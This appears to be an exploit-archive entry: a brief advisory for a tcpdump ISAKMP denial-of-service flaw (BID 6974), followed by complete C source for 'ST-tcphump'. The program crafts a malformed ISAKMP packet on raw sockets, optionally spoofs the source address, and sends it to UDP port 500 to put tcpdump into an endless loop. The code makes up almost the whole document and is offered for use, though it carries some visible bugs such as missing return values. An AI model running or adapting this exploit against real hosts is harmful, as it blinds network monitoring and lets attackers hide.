TCPDump 3.x Malformed ISAKMP Packet Denial of Service Vulnerability



source: http://www.securityfocus.com/bid/6974/info


It has been reported that tcpdump is vulnerable to a denial of service when some packet types are received. By sending a maliciously formatted packet to a system using a vulnerable version of tcpdump, it is possible for a remote user to cause tcpdump to ignore network traffic from the time the packet is received until the application is terminated and restarted.

/*
 * ST-tcphump.c -- tcpdump ISAKMP denial of service attack
 *     The Salvia Twist
 *     01/03/03
 * 
 * "A vulnerability exists in the parsing of ISAKMP packets (UDP port 500)
 *  that allows an attacker to force TCPDUMP into an infinite loop upon
 *  receipt of a specially crafted packet."
 *
 * The fault really lies in isakmp_sub0_print() not isakmp_sub_print().
 * 
 * Sometimes spoofed packets don't reach their destination, so we have support 
 * for non-spoofed packets.
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <linux/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <unistd.h>

#define ISAKMPGEN_SIZE    sizeof(struct isakmpgen)
#define ISAKMPHEAD_SIZE sizeof(struct isakmphdr)
#define PSDHEAD_SIZE    sizeof(struct pseudohdr)
#define UDPHEAD_SIZE    sizeof(struct udphdr)
#define IPHEAD_SIZE    sizeof(struct iphdr)
#define PORT        500

struct isakmpgen * isakmpg(void);
struct isakmphdr * isakmph(void);
struct udphdr * udph(void);
struct iphdr * iph(void);
__u16 cksum(__u16 *buf, int nbytes);
void get_interface(void);
void usage(void);

struct isakmpgen {
    __u8 np;
    __u8 reserved;
    __u16 length;
};

struct isakmphdr {
    __u8 i_ck[8];
    __u8 r_ck[8];
    __u8 np;
    __u8 vers;
    __u8 etype;
    __u8 flags;
    __u8 msgid[4];
    __u32 len;
};

struct pseudohdr {
    __u32 saddr;
    __u32 daddr;
    __u8 zero;
    __u8 protocol;
    __u16 length;
};

struct sockaddr_in saddr;
struct sockaddr_in local;
int spoof;

int main(int argc, char *argv[]) {
    char *packet = malloc(4096);
    char *pseudo = malloc(4096);
    struct isakmpgen *isakmpgen = malloc(ISAKMPGEN_SIZE);
    struct isakmphdr *isakmp = malloc(ISAKMPHEAD_SIZE);
    struct pseudohdr *phdr = malloc(PSDHEAD_SIZE);
    struct udphdr    *udp = malloc(UDPHEAD_SIZE);
    struct iphdr    *ip = malloc(IPHEAD_SIZE);
    int sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    int one = 1;
    const int *val = &one;
    
    printf("ST-tcphump tcpdump ISAKMP denial of service\n");
    printf("    The Salvia Twist\n");
    
    if(argc < 2) {
        usage();
        exit(1);
    }
    
    if(!strcmp(argv[1], "-s"))
        spoof = 0;
    else {
        spoof = 1;
        get_interface();
    }
            
    if(!spoof && argc < 3) {
        usage();
        exit(1);
    }
    
    bzero(packet, sizeof(packet));
    bzero(pseudo, sizeof(pseudo));
    srand(time(NULL));
    
    saddr.sin_family = AF_INET;
    saddr.sin_port = htons(PORT);
    
    if(spoof)
        saddr.sin_addr.s_addr = inet_addr(argv[1]);
    else
        saddr.sin_addr.s_addr = inet_addr(argv[2]);
    
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));
    
    ip = iph();
    udp = udph();
    isakmp = isakmph();
    isakmpgen = isakmpg();
    
    memcpy(&phdr->saddr, &ip->saddr, 4);
    memcpy(&phdr->daddr, &ip->daddr, 4);
    phdr->protocol = 17;
    phdr->length = htons(UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
    
    memcpy(pseudo, phdr, PSDHEAD_SIZE);
    memcpy(pseudo + PSDHEAD_SIZE, udp, UDPHEAD_SIZE);
    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);
    memcpy(pseudo + PSDHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,
            isakmpgen, ISAKMPGEN_SIZE);
    
    udp->check = cksum((u_short*) pseudo, PSDHEAD_SIZE + UDPHEAD_SIZE +
            ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
    
    memcpy(packet, ip, IPHEAD_SIZE);
    memcpy(packet + IPHEAD_SIZE, udp, UDPHEAD_SIZE);
    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE, isakmp, ISAKMPHEAD_SIZE);
    memcpy(packet + IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE,
            isakmpgen, ISAKMPGEN_SIZE);
        
    ip->check = cksum((u_short*) packet, ip->tot_len >> 1);
    memcpy(packet, ip, IPHEAD_SIZE);

    if(sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *) &saddr,
                sizeof(saddr)) < 0) {
        printf("sendto error\n");
        exit(1);
    }
    
    printf("Packet sent.\n");
    
    return 0;
}

void usage(void) {
    printf("\nUsage: ST-tcphump -s <target addr>\n");
    printf("\t-s\tdon't spoof source address\n");
}

__u16 cksum(__u16 *buf, int nbytes) {
    __u32 sum;
    __u16 oddbyte;

    sum = 0;
    while(nbytes > 1) {
        sum += *buf++;
        nbytes -= 2;
    }

    if(nbytes == 1) {
        oddbyte = 0;
        *((__u16 *) &oddbyte) = *(__u8 *) buf;
        sum += oddbyte;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);

    return (__u16) ~sum;
}

struct isakmpgen * isakmpg(void) {
    struct isakmpgen *isakmpg = malloc(ISAKMPGEN_SIZE);

    bzero(isakmpg, ISAKMPGEN_SIZE);
    isakmpg->np = 69;
}

struct isakmphdr * isakmph(void) {
    struct isakmphdr *isakmph = malloc(ISAKMPHEAD_SIZE);
    int i;
    
    bzero(isakmph, ISAKMPHEAD_SIZE);
    for(i = 0; i < 8; i++) {
        isakmph->i_ck[i] = rand() % 256;
        isakmph->r_ck[i] = rand() % 256;
    }
    for(i = 0; i < 4; i++)
        isakmph->msgid[i] = rand() % 256;
    isakmph->vers = 0x8 << 4 | 0x9;
    isakmph->np = 69;
    isakmph->etype = 2;
    isakmph->len = htonl(ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE);
}

struct udphdr * udph(void) {
    struct udphdr *udph = malloc(UDPHEAD_SIZE);

    udph->source = htons(PORT);//htons(1024 + (rand() % 2003));
    udph->dest = htons(PORT);
    udph->len = UDPHEAD_SIZE + ISAKMPHEAD_SIZE + ISAKMPGEN_SIZE;
    udph->check = 0;
}

struct iphdr * iph(void) {
    struct iphdr *iph = malloc(IPHEAD_SIZE);

    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = IPHEAD_SIZE + UDPHEAD_SIZE + ISAKMPHEAD_SIZE + 
        ISAKMPGEN_SIZE;
    iph->id = htons(rand());
    iph->frag_off = 0;
    iph->ttl = 225;
    iph->protocol = 17;
    iph->check = 0;

    if(spoof) {
        iph->saddr = saddr.sin_addr.s_addr;
    }
    else
        iph->saddr = local.sin_addr.s_addr;
    
    iph->daddr = saddr.sin_addr.s_addr;
    
    return iph;
}

/* thanks hping2 */
void get_interface(void) {
    int sockr, len, on = 1;
    struct sockaddr_in dest;
    struct sockaddr_in iface;

    memset(&iface, 0, sizeof(iface));
    memcpy(&dest, &saddr, sizeof(struct sockaddr_in));
    dest.sin_port = htons(11111);

    sockr = socket(AF_INET, SOCK_DGRAM, 0);

    if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) == -1) {
        printf("getsockopt error\n");
        exit(1);
    }

    if(connect(sockr, (struct sockaddr *)&dest,
                sizeof(struct sockaddr_in)) == -1) {
        printf("connect error\n");
        exit(1);
    }

    len = sizeof(iface);
    if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1) {
        printf("getsockname error\n");
        exit(1);
    }
    
    close(sockr);
    memcpy(&local, &iface, sizeof(struct sockaddr_in));
    return;
}